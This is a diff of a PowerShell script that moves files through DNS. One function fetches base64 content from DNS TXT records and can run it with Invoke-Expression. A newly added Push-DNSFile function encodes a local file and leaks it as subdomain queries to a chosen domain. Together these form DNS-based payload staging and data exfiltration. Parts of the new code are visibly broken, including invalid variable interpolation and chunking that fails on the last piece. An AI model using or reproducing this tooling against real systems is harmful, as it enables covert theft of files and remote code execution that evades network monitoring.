|
|
@ -1,14 +1,14 @@
|
|
|
|
Function Retrieve-DNSTXT {
|
|
|
|
Function Get-DNSTXT {
|
|
|
|
[CmdletBinding()] param(
|
|
|
|
[CmdletBinding()] param(
|
|
|
|
[string] $Domain
|
|
|
|
[string] $Domain
|
|
|
|
)
|
|
|
|
)
|
|
|
|
return (Resolve-DnsName -Type TXT $Domain | select Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim()
|
|
|
|
return (Resolve-DnsName -Type TXT $Domain | Select-Object Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim()
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Function Retrieve-DNSFile {
|
|
|
|
Function Get-DNSFile {
|
|
|
|
[CmdletBinding()] param(
|
|
|
|
[CmdletBinding()] param(
|
|
|
|
[string] $Filename,
|
|
|
|
[string] $Filename = $(Read-Host -Prompt 'Enter a Filename'),
|
|
|
|
[string] $DNSName,
|
|
|
|
[string] $DNSName = $(Read-Host -Prompt 'Enter a DNSName'),
|
|
|
|
[switch] $Execute,
|
|
|
|
[switch] $Execute,
|
|
|
|
[switch] $Write,
|
|
|
|
[switch] $Write,
|
|
|
|
[string] $OutPath
|
|
|
|
[string] $OutPath
|
|
|
@ -22,7 +22,7 @@ Function Retrieve-DNSFile {
|
|
|
|
$file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64))
|
|
|
|
$file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64))
|
|
|
|
"String $file_string"
|
|
|
|
"String $file_string"
|
|
|
|
If ($Execute.IsPresent) {
|
|
|
|
If ($Execute.IsPresent) {
|
|
|
|
$file_string | IEX
|
|
|
|
$file_string | Invoke-Expression
|
|
|
|
} Else {
|
|
|
|
} Else {
|
|
|
|
$file_string | Out-String
|
|
|
|
$file_string | Out-String
|
|
|
|
}
|
|
|
|
}
|
|
|
@ -30,3 +30,22 @@ Function Retrieve-DNSFile {
|
|
|
|
$file_string | Out-File -FilePath ($OutPath, $Filename)[!$OutPath]
|
|
|
|
$file_string | Out-File -FilePath ($OutPath, $Filename)[!$OutPath]
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function Push-DNSFile {
|
|
|
|
|
|
|
|
[CmdletBinding()] param(
|
|
|
|
|
|
|
|
[string] $Filename = $(Read-Host -Prompt 'Enter a Filename'),
|
|
|
|
|
|
|
|
[string] $DNSName = $(Read-Host -Prompt 'Enter a DNSName'),
|
|
|
|
|
|
|
|
[string] $Prefix = ""
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
$content_binary = Get-Content -Path $Filename -Encoding utf8
|
|
|
|
|
|
|
|
$content_base64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($content_binary))
|
|
|
|
|
|
|
|
$i = 0
|
|
|
|
|
|
|
|
While ($content_base64) {
|
|
|
|
|
|
|
|
$url = ".$(Prefix)$(i)0.$(DNSName)"
|
|
|
|
|
|
|
|
$len = 63 - $url.Length
|
|
|
|
|
|
|
|
$content_part = $content_base64.Substring(0, $len)
|
|
|
|
|
|
|
|
$content_base64 = $content_base64.Substring($len)
|
|
|
|
|
|
|
|
Get-DNSTXT -Domain ($content_part + $url)
|
|
|
|
|
|
|
|
$i++
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
}
|
|
|
|